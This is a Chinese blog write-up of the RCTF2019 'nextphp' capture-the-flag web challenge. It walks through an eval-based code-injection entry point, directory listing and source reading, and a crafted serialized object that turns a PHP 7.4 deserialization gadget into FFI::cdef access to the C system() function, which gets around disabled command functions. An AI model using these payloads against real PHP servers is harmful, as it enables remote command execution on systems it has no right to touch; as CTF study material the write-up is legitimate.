当前位置:首页 > Web开发 > 正文

RCTF2019(nextphp)

2024-03-31 Web开发

题目给的代码很简单

<?php if (isset($_GET[‘a‘])) { eval($_GET[‘a‘]); } else { show_source(__FILE__); }

这里的a可以作为代码执行。

例如url?a=echo phpinfo();

技术图片

禁用函数中不含scanfdir函数

scandir函数:

技术图片

因此打印根目录文件 a=var_dump(scandir(‘var/www/html‘));

查看源码:

a = file_get_contents(‘xxx.php‘);

<?php final class A implements Serializable { protected $data = [ ‘ret‘ => null, ‘func‘ => ‘print_r‘, ‘arg‘ => ‘1‘ ]; private function run () { $this->data[‘ret‘] = $this->data[‘func‘]($this->data[‘arg‘]); } public function __serialize(): array { return $this->data; } public function __unserialize(array $data) { array_merge($this->data, $data); $this->run(); } public function serialize (): string { return serialize($this->data); } public function unserialize($payload) { $this->data = unserialize($payload); $this->run(); } public function __get ($key) { return $this->data[$key]; } public function __set ($key, $value) { throw new \Exception(‘No implemented‘); } public function __construct () { throw new \Exception(‘No implemented‘); } }

php7.4 __unserialize 新的自定义对象序列化机制

对象序列化时会触发run方法:

private function run () { $this->data[‘ret‘] = $this->data[‘func‘]($this->data[‘arg‘]); }

_get()获取元素的值

public function __get ($key) { return $this->data[$key]; }

这里采用代码注入的方式,传入一个序列化字符串,触发反序列化函数。

a=include(‘preload.php‘);var_dump(unserialize(‘C:1:"A":150:{a:3:{s:3:"ret";N;s:4:"func";s:7:"print_r";s:3:"arg";a:3:{s:1:"a";s:5:"apple";s:1:"b";s:6:"banana";s:1:"c";a:3:{i:0;s:1:"x";i:1;s:1:"y";i:2;s:1:"z";}}}}‘)->__get(‘ret‘));

打印数组

这里成功的使用print_r函数去打印我们传入的数组,因此这里可以用这个方法去定义函数引用函数,现在就需要解决命令执行的问题。

这里禁用了命令执行的一些函数。

学习一种新的手段。

preload.php  这个文件名也是一个提示,Google一下这个preload。

PHP / FFI /预加载

这个FFI的原理就是在php中可以调用c语言中的库,因此可以借助c语言去命令执行

php.ini配置使用preload预加载与FFI扩展,FFI中可以进行命令执行。

构造序列化

<?php final class A implements Serializable { protected $data = [ ‘ret‘ => null, ‘func‘ => ‘FFI::cdef‘, ‘arg‘ => ‘int system(const char *command);‘ ]; private function run () { $this->data[‘ret‘] = $this->data[‘func‘]($this->data[‘arg‘]); } public function __serialize(): array { return $this->data; } public function __unserialize(array $data) { array_merge($this->data, $data); $this->run(); } public function serialize (): string { return serialize($this->data); } public function unserialize($payload) { $this->data = unserialize($payload); $this->run(); } public function __get ($key) { //获取元素的值 return $this->data[$key]; } public function __set ($key, $value) { throw new \Exception(‘No implemented‘); } public function __construct () { throw new \Exception(‘No implemented‘); } } $obj = new A; $ser = serialize($obj); echo $ser;

这段代码要在php7下运行。

温馨提示: 本文由Jm博客推荐,转载请保留链接: https://www.jmwww.net/file/web/42283.html